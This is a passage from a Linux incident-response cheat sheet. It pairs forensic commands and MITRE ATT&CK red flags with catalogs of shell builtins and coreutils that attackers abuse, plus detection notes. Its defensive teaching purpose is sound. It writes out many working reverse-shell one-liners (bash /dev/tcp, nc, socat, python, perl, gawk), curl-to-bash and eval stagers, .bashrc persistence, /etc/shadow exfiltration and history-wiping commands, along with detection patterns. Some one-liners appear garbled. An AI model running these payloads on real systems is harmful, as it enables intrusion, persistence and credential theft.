grep -cE 'Failed password' /var/log/auth.log
awk '/Failed password/ {print $(NF-3)}' /var/log/auth.log | sort | uniq -c | sort -rn | head
```

Why it matters: Aggregates brute-force sources by IP. **Red flags:** One IP dominating the list (T1110).

```
cat /etc/logrotate.conf ; ls -la /etc/logrotate.d/
ls -la /var/lib/logrotate/status /var/lib/logrotate.status 2>/dev/null
```

Why it matters: Rotation config and state, determines whether old logs exist and whether rotation is running. **Red flags:** Retention shortened or rotation disabled after hardening, state file wiped, rotated archives missing. Include rotated files in analysis: zcat /var/log/auth.log.2.gz | grep ... (T1070.002).

Bash History & Shells

```
history
cat ~/.bash_history 2>/dev/null
cat /root/.bash_history 2>/dev/null
```

Why it matters: Command history of interactive sessions, often the fastest source of attacker commands. **Red flags:** base64 blobs, curl|bash chains, downloads to /tmp, chmod +x, edits to cron/ssh/ld.so.preload, chattr +i on logs (T1059.004, T1105).

```
find /home -maxdepth 2 -name '.bash_history' -exec ls -la {} \; 2>/dev/null
stat /root/.bash_history
```

Why it matters: Locate all history files and check for tampering. **Red flags:** History missing or 0 bytes for a user who has used the shell, cleared by user or malware; mtime after last session end (T1070.003).

```
env | grep -E 'HIST(SIZE|FILE|CONTROL|IGNORE)'
grep -R 'HISTSIZE\|HISTFILE\|HISTCONTROL\|HISTIGNORE' /etc/profile /etc/bash.bashrc /etc/profile.d/
~/.bashrc 2>/dev/null
```

Why it matters: Anti-forensics settings suppressing history per-process or globally. **Red flags:** HISTSIZE=0, HISTFILE=/dev/null, HISTCONTROL=ignorespace, HISTIGNORE covering sensitive commands (T1070.003).

```
grep -E 'base64|/dev/tcp|nc |ncat|socat|python.*pty|mkfifo|exec [0-9]<>' /root/.bash_history ~/.bash_history
2>/dev/null
```

Why it matters: One sweep for common reverse-shell/downloader patterns in history. **Red flags:** Any match; also `sudo su`, `su -`, `echo ... > /etc/cron*` (T1059.004).

Pattern (history/ps/cmdline)	What it is	ATT&CK
<code>bash -i >& /dev/tcp/IP/4444 0>&1</code>	Bash reverse shell	T1059.004
<code>nc -e /bin/sh IP 4444 / ncat -e ...</code>	Netcat backdoor shell	T1059.004
<code>socat TCP:IP:4444 EXEC:/bin/sh</code>	Socat shell	T1059.004
<code>python3 -c 'import socket,pty,subprocess,os; ...'</code>	Python reverse shell / PTY	T1059.006
<code>perl -e 'use Socket;...' / ruby -rsocket -e'...' / php -r '\$sock=...'</code>	Interpreter one-liner shells	T1059
<code>base64 -d <<< <blob> bash</code>	Obfuscated payload execution	T1027, T1140
<code>curl -s URL bash / wget -O- URL sh</code>	Remote pipe-to-shell loader	T1105, T1204.002
<code>mkfifo /tmp/f; cat /tmp/f /bin/sh -i 2>&1 nc IP 4444 > /tmp/f</code>	FIFO relay shell	T1059.004
<code>exec 5<>/dev/tcp/IP/4444; cat <&5 while read l; do \$l 2>&5 >&5; done</code>	FD-based shell	T1059.004
<code>nohup <cmd> & / setsid <cmd> / <cmd> &>/dev/null</code>	Detached silent execution	T1059.004
<code>sh -i</code>	Interactive shell spawn	T1059.004

Note: History misses commands run via script files, non-interactive sessions, and (with HISTCONTROL) leading-space commands; check `ps/auditd/journald` for those (T1070.003).

Files & Artifacts

```
ls -la /tmp /dev/shm /var/tmp
find /tmp /dev/shm /var/tmp -xdev -type f -perm -u+x 2>/dev/null -ls
```

Why it matters: World-writable staging areas, the primary dropper/tool drop zone. **Red flags:** Executable files there, hidden-dot binaries, scripts with recent mtimes, files owned by odd users (T1105, T1036).

```
find / -xdev -type f -mmin -60 2>/dev/null -ls | head -60
find /home /tmp /var/tmp /etc /opt /usr/local -xdev -type f -mtime -7 2>/dev/null -ls | head -80
```

Why it matters: Files modified within a window, the fastest way to find what changed at incident time. **Red flags:** New binaries/scripts in `/etc` or `/usr/local`, new `.so` files, new executables in home dirs (T1070.006).

```
find / -xdev -type f -newer /etc/hostname 2>/dev/null | head -80
```

Why it matters: Everything newer than a pre-incident baseline file, for when you cannot pin exact times. **Red flags:** Config files (`cron`, `systemd`, `pam`, `sshd`) modified after baseline (T1070).

```
find /tmp /var/tmp /dev/shm /home -name '.*' -type f 2>/dev/null | head -60
```

Why it matters: Hidden files in writable areas. **Red flags:** Dot-prefixed binaries/scripts (`.x`, `.cache-*`), hidden executables (T1036, T1564.001).

```
stat -c '%n | mtime=%y | ctime=%z | birth=%w' <FILE>
```

Why it matters: All three timestamps plus creation time, timestomping leaves `ctime/birth` mismatches. **Red flags:** `mtime` backdated while `ctime` is recent (`touch -d/touch -r` copies `mtime` but cannot spoof `ctime` or `birth`) (T1070.006). Birth may be blank on some filesystems (`tmpfs`, older `XFS`).

```
lsattr <FILE> ; lsattr -d <DIR>
chattr +i <FILE> # immutable flag, do not set on live evidence
```

Why it matters: Immutable flags, attackers pin logs or backdoors with `+i`. **Red flags:** `i` flag on logs, cron files, or binaries (T1222.002).

```
file /tmp/<suspicious>
strings -a -n 10 /tmp/<suspicious> | head -40
```

Why it matters: Identify binary type and extract printable indicators. **Red flags:** ELF/script mismatch with the filename, embedded URLs/IPs/base64, `socket/connect//bin/sh` strings, UPX-packed binaries with few strings (T1027.002).

```
sha256sum /tmp/<suspicious> ; md5sum /tmp/<suspicious>
```

Why it matters: Hash for IOC lookup (VirusTotal, MISP, sandbox). **Red flags:** A hit in threat intel, hash and timestamp everything before cleanup (T1027).

```
dpkg -V | head -50          # Debian/Ubuntu
rpm -Va | head -80          # RHEL
debsums -s                  # Debian, if debsums package installed
```

Why it matters: Package integrity, hashes binaries against package databases. **Red flags:** Mismatches on binaries in `/usr/bin`, `/bin`, `/sbin`, `/usr/lib` (config-file diffs marked `c` are normal), replaced binaries (T1554, T1036).

```
lsof +L1                    # root; all deleted-but-open files
lsof +L1 | grep -E 'DEL|deleted'
```

Why it matters: Files deleted from disk but still open, the classic "run from /tmp then delete" evasion. **Red flags:** Executables or `.so` files (`deleted`) held open by running processes (T1036).

```
ls -l /proc/<PID>/exe        # look for "(deleted)"
cp /proc/<PID>/exe /evidence/payload
```

Why it matters: Recovers a deleted binary straight from the process. **Red flags:** (`deleted`), active evasion; recover, hash, and reverse it (T1036).

```
lsmod | head -30
modinfo <module> | head -12
dmesg -T | grep -iE 'insmod|module' | tail -30
```

Why it matters: Loaded kernel modules and load times, kernel-level backdoors (rootkits). **Red flags:** Unknown modules, modules loaded from `/tmp`, module paths under writable dirs, load events just before odd behavior (T1547.006).

```
bpftool prog list 2>/dev/null ; bpftool net show 2>/dev/null
ls -la /sys/fs/bpf 2>/dev/null
```

Why it matters: eBPF programs, stealthy hooks that evade userland tools (no dedicated ATT&CK ID; map T1547.006/T1027). **Red flags:** eBPF programs attached to syscalls/traffic on a host that should not have them; odd pinned maps in `/sys/fs/bpf`. Note: container/network tooling legitimately uses some eBPF, compare against baseline.

Services & Boot

```
systemctl list-units --type=service --state=running
systemctl list-unit-files --state=enabled --type=service
```

Why it matters: Running and enabled services, the full service persistence picture. **Red flags:** Unrecognized services, names mimicking legit ones (`sshd`, `systemd-update`), units with recent install times (T1543.002).

```
systemctl status <unit>
systemctl cat <unit>
```

Why it matters: Reads the actual unit definition and runtime state. **Red flags:** `ExecStart` with `bash -c`, `curl`, `base64`, or paths in `/tmp`; unusual `User=/Group=`; `StandardOutput=null` or `append-to-/dev/null`; unit started right after incident time (T1543.002).

```
ls -la /etc/systemd/system/ | head -50
ls -la /etc/systemd/system/*.wants/ 2>/dev/null | head -60
```

Why it matters: Drop-in and enablement symlinks, where attacker unit files live (they rarely touch /usr/lib/systemd). **Red flags:** .service/.timer files with recent mtimes, .wants symlinks pointing at /etc/systemd/system files, duplicate unit names with different content (T1543.002).

```
grep -R 'ExecStart.*\(/tmp\|curl\|wget\|base64\|bash -c\)' /etc/systemd/system/ 2>/dev/null
```

Why it matters: Sweep for payload-shaped ExecStart lines. **Red flags:** Any hit (T1543.002, T1105).

```
cat /etc/ld.so.preload # cross-reference Section 3
find /etc/systemd/system -name '*.service' -mtime -7 2>/dev/null
```

Why it matters: Preload recheck plus recently changed unit files. **Red flags:** Non-empty ld.so.preload; unit files modified during the incident window (T1574.006, T1543.002).

Users & Auth

```
awk -F: '$3==0{print}' /etc/passwd
getent passwd 0
```

Why it matters: All UID-0 accounts, instant backdoor detection. **Red flags:** Any account besides root with UID 0 (T1078, T1136).

```
awk -F: '($2==""){print "EMPTY PW: "$1}' /etc/shadow
grep '^+: ' /etc/passwd /etc/shadow
```

Why it matters: Passwordless accounts and legacy NIS + entries. **Red flags:** Empty password field (should be ! or *); + entries, the classic NIS injection backdoor (T1078).

```
ls -la /etc/passwd /etc/shadow /etc/group
awk -F: '{print $1":"$3":"$4":"$7}' /etc/passwd | sort
```

Why it matters: Permissions plus a condensed account dump for anomaly review. **Red flags:** passwd/shadow world-writable or oddly owned, login shells on service accounts (www-data → /bin/bash), duplicate UIDs, new usernames at the end of the file (T1098, T1136).

```
for u in $(cut -d: -f1 /etc/passwd); do grep -q "^$u:" /etc/shadow || echo "no shadow entry: $u"; done
```

Why it matters: Users present in passwd but missing from shadow, inconsistent state. **Red flags:** Any user without a shadow entry (T1078).

```
sudo -l
visudo -c
grep -R 'NOPASSWD\|ALL=(ALL)' /etc/sudoers /etc/sudoers.d/ 2>/dev/null
ls -la /etc/sudoers.d/
```

Why it matters: Sudo rights of the current user plus a full sudoers review. **Red flags:** NOPASSWD: ALL for non-admin users, ALL=(ALL:ALL) for odd usernames, new/world-writable files in /etc/sudoers.d (T1548.003).

```
getent group sudo wheel docker
getent passwd | awk -F: '$1!="root" && $3<1000 {print}' | head -20
```

Why it matters: Privileged group membership and low-UID accounts. **Red flags:** Unexpected members in sudo/wheel/docker (docker membership ≈ root), system-range UIDs with login shells (T1098, T1548).

```
lastlog | grep -v 'Never logged in'
last -a -F | head -30
```

Why it matters: Which accounts actually log in, and when. **Red flags:** Service accounts with recent logins, logins from unusual IPs, logins after an account was disabled (T1078).

```
passwd -S <user>  
stat /etc/passwd /etc/shadow
```

Why it matters: Per-account lock/password status and account-file modification times. **Red flags:** P (usable password) on accounts that should be locked, N (no password) on anything; passwd/shadow mtimes near the incident window (T1078, T1098, T1136).

Section 2 (cont.): Linux Native Tool Catalog, Shells & Builtins, Suspicious Parameters

Scope: bash/sh/dash/zsh builtins only. Network utilities (curl, wget, nc) and coreutils (base64) live in other catalogs. Availability notes: `/dev/tcp` is **bash/ksh93-only** (absent in dash `sh` and `zsh`); `zsh` uses the `ztcp` module instead.

Download & Execution

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
<code>exec</code>	Replace current shell process with another program (no fork)	<code>exec /bin/sh -i</code> , <code>exec bash -i</code> , <code>exec -a /bin/ls /tmp/evil</code> , <code>exec -c /bin/sh</code> , <code>exec 3<>/dev/tcp/HOST/PORT</code>	Drops into interactive shell on a login/connection channel; <code>-a</code> spoofs <code>argv[0]</code> to masquerade; <code>fd</code> redirection over TCP enables reverse shell	T1059.004, T1036, T1105
<code>eval</code>	Expand then execute a string as shell commands	<code>eval "\$(curl -s http://C2/x.sh)"</code> , <code>eval \$(base64 -d <<<'...'')</code> , <code>eval \$USER_INPUT</code> , <code>eval "\$(wget -q0- http://C2/p)"</code>	Fileless staging: pulls script over HTTP and executes without touching disk; obfuscated base64 payloads; user input into <code>eval</code> = injection	T1059.004, T1027
<code>source</code> / <code>.</code> (dot)	Run commands from a file in the current shell (no new process)	<code>source /tmp/p.sh</code> , <code>./dev/shm/x</code> , <code>./dev/tcp/10.0.0.1/4444</code> , <code>source ~/.bashrc</code> , <code>source /etc/profile.d/x.sh</code>	Loads staged scripts in-place; reads a script straight off a TCP socket (<code>bash</code>); <code>rc</code> -file modification = login persistence	T1059.004, T1546.004
<code>bash</code> (invocation, the shell binary, not a builtin)	Command interpreter	<code>bash -c 'cmd'</code> , <code>bash -i</code> , <code>bash --rcfile /tmp/evil</code> , <code>bash --noprofile --norc</code> , <code>bash -s</code>	<code>-c</code> from stdin pipelines (<code>curl x bash</code>); <code>-i</code> interactive shell without a TTY (reverse shells); <code>--rcfile</code> loads attacker <code>rc</code> ; <code>--noprofile --norc</code> skips user env (evasion/cleanup)	T1059.004, T1546.004, T1562.001

Reconnaissance & Network Channels

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
<code>/dev/tcp</code> (bash/ksh93; NOT dash/sh or zsh)	Pseudo-device: open a TCP socket via file-redirection syntax	<code>bash -i >& /dev/tcp/H/P 0>&1</code> , <code>exec 3<>/dev/tcp/H/P</code> , <code>cat /etc/passwd > /dev/tcp/H/P</code> , <code>(echo > /dev/tcp/H/P) 2>/dev/null && echo open</code>	Reverse shell with zero binaries; exfiltrate files to C2; <code>bash</code> -only TCP connect-scan as a built-in <code>nc</code> replacement	T1059.004, T1105, T1041, T1046
<code>/dev/udp</code> (bash only)	Pseudo-device: UDP socket via redirection	<code>exec 3<>/dev/udp/H/P</code> , <code>printf '...' >&3</code> , <code>bash -i >& /dev/udp/H/P</code>	UDP/DNS exfil and covert channel; less monitored than TCP	T1041, T1071.004
<code>ztcp</code> (zsh module)	zsh TCP sockets (zsh lacks <code>/dev/tcp</code>)	<code>ztcp -l 4444</code> , <code>ztcp HOST 4444</code>	zsh variant of TCP channel, often after <code>zsh -f</code> (skip <code>rc</code>)	T1059.004, T1105

Credential Access & Input Capture

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
<code>read</code>	Read a line from stdin into a variable	<code>read -s -p "Password: " pw</code> , <code>read < /dev/tcp/H/P</code> , <code>read -u 3</code> , <code>while read l; do eval "\$l"; done < file</code>	<code>-s</code> silently captures victim-typed creds in scripted backdoors/phishing prompts; reads commands from a C2 socket and executes them	T1552, T1056, T1059.004

Persistence & Event-Triggered Execution

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
trap	Run a command when a signal or shell exit is received	trap 'payload' EXIT / trap 'payload' 0, trap 'nc -e /bin/sh H P' HUP, trap 'sh /tmp/x.sh' INT TERM	Payload fires on shell exit/logout; survives interaction; re-armed on kill attempts; in-process persistence without new files in rc	T1546, T1059.004
alias	Define command shortcuts	alias ls='cat /etc/passwd', alias sudo='...', alias cd='sh /tmp/x.sh'	Substitutes malicious code into everyday commands; rc-file alias persistence; fake sudo/su capture	T1546.004, T1059.004

Environment & Variable Manipulation

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
export	Set env var for current and child processes	export PATH=/tmp:\$PATH, export LD_PRELOAD=/tmp/rootkit.so, export PS1='\${id; whoami}', export PROMPT_COMMAND='cmd', export HISTFILE=/dev/null, export X=\$(base64 -w0 /etc/shadow)	PATH hijack runs /tmp binaries instead of ls/su; LD_PRELOAD injects rootkit into every process; PS1/PROMPT_COMMAND run code per prompt; env smuggle of stolen data for exfil	T1574.007, T1574.006, T1070.003, T1552

Defense Evasion & Anti-Forensics

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
history	Show / manipulate command history	history -c, history -d N, history -w, history -r / tmp/fake_hist	Wipes or forges .bash_history; -w + -r plants decoy history; erases the primary Linux forensic timeline	T1070.003
set (bash)	Set shell options / positional parameters	set +o history, set -x, set -e, set +e, set -- \$INPUT	+o history disables history logging (persistent anti-forensics); -x trace in payload debugging; set -- re-splits attacker-controlled strings → injection	T1070.003, T1059.004, T1027
setopt (zsh)	Set zsh options (zsh analogue of set)	setopt HIST_IGNORE_SPACE, unset HISTFILE, setopt NO_SHARE_HISTORY	Leading-space commands never recorded; disables zsh history file (same evasion, zsh syntax)	T1070.003
shopt	Toggle optional bash behaviors	shopt -s extglob, shopt -s expand_aliases	extglob enables destructive rm -rf ! (keep) patterns; expand_aliases reactivates alias tricks in non-interactive scripts	T1485, T1059.004
ulimit	Set per-shell resource limits	ulimit -c 0, ulimit -u unlimited, ulimit -s unlimited, ulimit -n 65535	-c 0 suppresses core dumps (destroys memory forensics); raised limits support fork bombs and heavy payloads	T1070, T1499
printf (builtin; bash/zsh/dash)	Format and print text	printf '\143\141\164', printf '%b' '\x63\x61\x74', printf ... sh	Builds command strings without spaces/plain letters, defeating naive signature/egrep detection	T1027, T1059.004
:	(null builtin)	No-op that always succeeds	The canonical fork bomb body uses : recursion; instant endpoint DoS	T1499

Process & Resource Control

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
kill (builtin)	Send a signal to a process	kill -9 PID, kill -9 -1, kill -STOP PID	Terminates EDR/AV/monitoring agents; -9 -1 kills every process the user can signal (DoS); orphan payloads after killing parents	T1489, T1562.001

Classic Reverse-Shell One-Liners (summary)

Tool	One-liner (abridged)
bash / dev/tcp	<code>bash -i >& /dev/tcp/10.0.0.1/8080 0>&1</code>
bash exec-fd	<code>0<&196;exec 196<>/dev/tcp/10.0.0.1/4444; sh <&196 >&196 2>&196</code>
nc (third-party)	<code>nc -e /bin/sh 10.0.0.1 4444</code>
nc + mkfifo	<code>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f /bin/sh -i 2>&1 nc 10.0.0.1 4444 >/tmp/f</code>
socat (third-party)	<code>socat TCP:10.0.0.1:4444 EXEC:/bin/sh,pty,stderr,setsid,sigint,sane</code>
python3	<code>python3 -c 'import socket,subprocess,os;s=socket.socket(...);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);...;subprocess.i"])'</code>
perl	<code>perl -e 'use Socket;\$i="10.0.0.1";\$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in(\$p,inet_aton(\$i)));open(bin/sh -i");'</code>
telnet onion	<code>telnet 10.0.0.1 4444 /bin/bash telnet 10.0.0.1 4445</code>
gawk / inet	<code>gawk 'BEGIN{s="/inet/tcp/0/10.0.0.1/4444";while(1){printf "> " &s; s &getline c; if(c){while((c &getline close(c))}}}'</code>
busybox nc	<code>busybox nc 10.0.0.1 4444 -e /bin/sh</code>

Detail Blocks, Most-Abused Builtins

1. /dev/tcp reverse shell

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

`-i` forces interactive mode without a TTY (prompt + job control); `>&` sends stdout+stderr to the socket; `0>&1` wires stdin from the same socket, closing the loop. Detection: auditd type=EXECVE argv contains `bash -i + /dev/tcp` (rule on execve of `/bin/bash` with `-c/-i`); Sysmon-for-Linux EID 1 shows parent `sshd/cron` → `bash`; ss `-tnp` where a TCP connection's PID has fds 0,1,2 on the socket; Falco rule "reverse shell".

2. exec fd plumbing

```
0<&196;exec 196<>/dev/tcp/10.0.0.1/4444; sh <&196 >&196 2>&196
```

0<&196 dups the socket fd onto stdin; exec 196<> opens a bidirectional socket on fd 196; final sh runs with all three std streams on the socket. Detection: child sh invoked with **no arguments** out of a parent shell is anomalous (auditd EXECVE, Sysmon EID 1); inspect /proc/<pid>/fd/, 0,1,2 and 196 all point to socket:[...]; Falco launch_suspicious_network_tool/reverse-shell rules.

3. eval stager (fileless)

```
eval "$(curl -s http://10.0.0.1/x.sh)"
eval $(base64 -d <<< 'aGVsbG8=')
```

-s silences curl; output is expanded and executed by eval, with nothing written to disk; base64 wrapper defeats text scanning. Detection: process tree curl/wget → bash (SIGPIPE kills curl; bash is the child); auditd EXECVE of curl/wget with parent bash, followed by bash exec; command-line regex for eval|base64 -d|curl.*|sh; Falco exec_from_curl-style rules.

4. source/. persistence

```
echo 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1' >> ~/.bashrc
source ~/.bashrc
. /dev/tcp/10.0.0.1/4444
```

source/. executes in the current shell (no child process for the payload); reading a script from /dev/tcp pulls it live over the wire. Detection: auditd file-watch (WRA) on ~/.bashrc, ~/.profile, ~/.zshrc, /etc/profile.d/, /etc/bash.bashrc; Sysmon-for-Linux EID 11 file-create on rc files; auth.log login events followed by bash source/. args; tripwire/AIDE rc-content diff.

5. trap exit payload

```
trap 'curl -s http://10.0.0.1/x.sh | bash' EXIT
trap 'sh /tmp/p.sh' 0
```

EXIT (or 0) fires on any shell exit, logout or disconnect, re-arming in-process persistence; HUP/INT traps survive terminal kill attempts. Detection: auditd EXECVE of bash -c containing trap + EXIT/0/HUP; scan rc files and live shells (trap -p) during IR; Sysmon EID 1 bash parent → curl/sh child.

6. history wipe / disable

```
history -c
export HISTFILE=/dev/null
export HISTSIZE=0
unset HISTFILE
```

history -c clears the in-memory list; HISTFILE=/dev/null redirects the log to the void; HISTSIZE=0 prevents recording; unset removes the pointer entirely. Detection: auditd watch on .bash_history (unlink/write events, EID 23 in Sysmon-for-Linux file-delete); /proc/<pid>/environ showing HISTFILE=/dev/null; a suspicious absence of history across a known intrusion window is itself a signal; HISTCONTROL=ignorespace (leading-space trick) in environ.

7. export hijacking

```
export PATH=/tmp:$PATH
export LD_PRELOAD=/tmp/rootkit.so
export PROMPT_COMMAND='cat /etc/shadow | base64 > /tmp/x'
export PS1='${id}; whoami'
```

PATH prepend makes the next ls/su/sudo resolve to attacker binaries; LD_PRELOAD loads a shared object into every subsequent process (root daemons included); PROMPT_COMMAND executes per prompt; PS1 with \$(...) runs on prompt display. Detection: auditd EXECVE showing /tmp/ls where /bin/ls expected; /proc/<pid>/environ dumps; ldd of running processes shows unexpected /tmp/*.so; Falco rules for execution from /tmp and dlopen of non-standard paths; SELinux/AppArmor denials on ld.so.

8. read credential capture

```
read -s -p "Password: " cred
```

`-s` suppresses echo (victim thinks it's a legit prompt); `-p` prints attacker text, classic credential phishing inside backdoors/SUID wrappers. Detection: auditd EXECVE of `bash -c` containing `read -s`; `auth.log` `sudo/su` failures or root logins immediately following a network-origin shell (bash child of nc/socat/python); process chain `sshd→bash→read→su`.

9. ulimit core-dump suppression

```
ulimit -c 0
```

Sets the core file size limit to zero; a crashing payload writes no core dump, destroying the memory snapshots investigators use for extraction. Detection: auditd `setrlimit` syscall rule (`type=SYSCALL syscall=setrlimit` with `rlimit=core/arg 0`); absence of core files after a known crash; Falco syscall-flag rule on `setrlimit`.

Section 2 (cont. 2): Linux Native Tool Catalog, Coreutils A-M, Suspicious Parameters

Scope: GNU coreutils A-M plus standard native utilities (all native unless marked). Flags are GNU/Linux syntax; BSD/macOS variants noted where they differ. Missing-tool note: `basenc` requires coreutils ≥ 9.0 (absent on RHEL 7/8, CentOS 7, older Ubuntu); `shred` is coreutils-only (absent on macOS).

Encoding, Compression & Obfuscation

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
base64	Encode/decode binary $\leftrightarrow$ text	<code>-d</code> , <code>-w 0</code> , <code>-i</code> ; BSD/macOS <code>-D</code> , <code>-b 0</code>	Encode payloads/C2 blobs to evade signatures; <code>base64 -d</code> stages decoded binaries to disk; long inline blobs in one-liners	T1027, T1140
base32	Encode data in base32 alphabet	<code>-d</code> , <code>-w 0</code> ; BSD <code>-D</code>	Alternate alphabet defeats detections tuned for base64	T1027
basenc	Encode/decode in many alphabets (coreutils ≥ 9.0)	<code>--base58btc</code> , <code>--z85</code> , <code>--base64url</code> , <code>--base32hex</code> , <code>--base2lsbf</code> , <code>-d</code> , <code>-w 0</code>	Exotic encodings (base58/z85/base2) invisible to regex/scanner rules; tool's presence on old hosts is itself odd	T1027
gzip	Compress files	<code>-c</code> (stdout), <code>-d</code> , <code>-9</code> ; <code>gzip -c x base64</code>	Compress payloads/logs pre-exfil; <code>gzip -dc sh</code> executes downloaded archives	T1560.001, T1027
bzip2	High-ratio compression	<code>-c</code> , <code>-d</code> , <code>-9</code>	Same staging/exfil pattern; detection gap vs gzip	T1560.001, T1027

Execution & Command Abuse

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
awk (gawk/mawk)	Field-based text processing	<code>'BEGIN{s="/inet/tcp/0/IP/PORT";...}'</code> (gawk), <code>-v var=</code> , <code>system("cmd")</code>	<code>gawk /inet/tcp/</code> opens real sockets, diskless reverse shell; one-liners transform data to evade greps	T1059.004, T1027
env	Run command with modified environment	<code>-i</code> (empty env), <code>LD_PRELOAD=/tmp/x.so</code> , <code>LD_LIBRARY_PATH=</code>	<code>env -i</code> bypasses proxy/timeout env; <code>LD_PRELOAD</code> hijacks libc for stealth keylogging/cred theft	T1574.006, T1059

Reconnaissance & Discovery

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
ls	List directory contents	<code>-la</code> , <code>-R</code> , <code>-a</code> ; targets <code>/root</code> , <code>/etc</code> , <code>/var/log</code> , <code>/tmp</code> , <code>.ssh</code>	Inventory files, spot hidden droppers/keys, verify persistence survived reboot	T1083, T1003.008
find	Search files by name/type/time	<code>-perm -4000</code> , <code>-perm -u=s</code> , <code>-exec cmd {} \;</code> , <code>-newermt</code> , <code>-mtime</code> , <code>/ -name "*shadow*" / *key* / *.conf, 2>/dev/null</code>	Locate <code>setuid</code> binaries (privesc recon), hunt cred files, <code>-exec</code> runs commands from <code>find</code> , identify files touched in attack window	T1083, T1059
df	Report filesystem usage	<code>df -T</code> , <code>df -h</code> on fresh targets	Identify mounted devices (<code>/dev/sd*</code>) for raw-disk exfil/destruction; <code>tmpfs</code> vs <code>ext4</code> tells if <code>chattr</code> immutability will work	T1082
cat	Concatenate/print files	Reading <code>/etc/shadow</code> , <code>/etc/passwd</code> , <code>/proc/kcore</code> , <code>/proc/self/environ</code> , <code>/dev/sd*</code> ; heredoc <code>cat > /tmp/.x <<'EOF'</code>	Dump credential/secret files, read raw disk or memory, write payloads via heredoc	T1003.008, T1027
lsattr	List ext2/3/4 file attributes	<code>-a</code> (incl. dotfiles), <code>-R</code> , <code>-d</code> ; run on dropped files	Check which files carry immutable/append flags, either as <code>chattr</code> targets or to verify one's own <code>chattr</code> stuck; signals anti-forensics awareness	T1222, T1083

File & Data Operations

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
cp	Copy files/dirs	<code>-p, -a, --preserve=timestamps,mode,ownership;</code> targets <code>/tmp, /dev/shm, hidden dot-dirs; cp /bin/sh /tmp/x</code>	<code>cp -p</code> copies a benign file's times to timestomp the copy; stage payloads in writable paths; duplicate setuid-capable binaries	T1036, T1074
dd	Low-level block copy/convert	<code>if=/dev/zero, if=/dev/urandom, of=/dev/sd*, if=/dev/sd*, of=/var/log/..., bs=, count=, seek=, conv=noerror, sync</code>	Wipe logs/partitions (T1485); raw disk/partition copy for exfil (T1005); read <code>/proc/kcore</code> ; zero-fill free space to kill recovery	T1485, T1005
mv	Move/rename files	<code>mv -f</code> ; logs moved to <code>/tmp</code> or dot-names; renaming binaries to legit names	Hide logs by relocation (no deletion alert), masquerade malware names, relocate tools post-exploit	T1070.002, T1036
mkdir	Create directories	<code>-p</code> deep nesting: <code>/tmp/. , /dev/shm/. , /var/tmp/..., hidden dot-dirs</code>	Build hidden staging dirs that mimic legit names (X11-unix, kernel-style names); prep webroot dirs	T1074
ln	Create hard/symbolic links	<code>ln -s /etc/shadow ..., -sf, targets /etc/passwd, /proc/kcore, /dev/mem, /var/log/..., /root/.ssh/authorized_keys</code>	Symlink to creds for easy read, bypass protected-path checks, symlink races for file overwrite in webroot, watch/redirect logs	T1036, T1003.008

Permissions, Persistence & SELinux

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
chmod	Change file mode bits	<code>chmod 777, chmod +x, chmod 4755, chmod u+s, chmod -R 777</code> on web dirs	Make payloads executable; setuid on root-owned copied shell = root shell (classic privesc); world-writable web roots	T1222.001
chown	Change file owner/group	<code>chown -R, chown root:root/0:0</code> on attacker files, <code>chown www-data</code> web files	Mask dropped files as root-owned/legit; match service owner for web execution	T1222
chgrp	Change file group	<code>chgrp -R, chgrp root/0, chgrp www-data</code>	Align group to legitimize files; share access across accounts post-compromise	T1222
chcon	Change SELinux file context (type)	<code>chcon -t bin_t, -t httpd_sys_script_t, -t httpd_sys_rw_content_t, -R</code> on droppers/web shells	Retag malware with an allowed SELinux type so it executes despite policy (SELinux bypass); relabel webroot to allow script exec; needs root, SELinux-only	T1222.001
chattr	Set immutable/append-only flags (ext2/3/4)	<code>+i, +a, -i, -a, -R</code>	Immutable malware/cron/SSH keys/logs so cleanup fails even as root; append-only logs cannot be truncated; strip flags (<code>-i</code>) before own cleanup. No-op on tmpfs/overlayfs (<code>/tmp, /dev/shm, containers</code>)	T1222, T1070.004

Defense Evasion, Anti-Forensics & Destruction

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
rm	Delete files	<code>-rf, --no-preserve-root</code> (allows <code>/</code>), <code>/var/log/*, /etc/cron*, ~/.bash_history, -f</code> on logs	Wipe logs/history/cron artifacts; destructive sabotage; deny forensics	T1070.004, T1485
shred	Overwrite file contents before deletion (coreutils; absent on macOS)	<code>-u, -z, -n 5 -n 30, shred /dev/sd*</code>	Anti-forensic log/artifact destruction; whole-disk wipe. Ineffective on journaled FS/SSD (man page); its use signals deliberate anti-forensics	T1070.004, T1485

DETAIL BLOCKS, most-abused tools

base64, payload encoding/staging

```
base64 -w 0 -d <<< "IyEvYmluL2Jhc2gK..." > /tmp/.x && chmod +x /tmp/.x && /tmp/.x
```

- `-d` decodes; `-w 0` disables the 76-column wrap so blobs stay single-line; `-i` (GNU) ignores non-alphabet garbage mid-stream.
- Detection: auditd EXECVE with `base64 -d` args, or EDR command-line telemetry greps for blobs >512 chars and decode-to-file chains (`-d >`, `-D -o` on macOS/BSD); correlate the child process exec of the decoded file; `.bash_history` contains the full string.

awk, diskless reverse shell (gawk)

```
gawk 'BEGIN{s="/inet/tcp/0/10.0.0.5/4444";for(s|&getline c;){while((c|getline)>0)print $0|&s;close(c)}}'
```

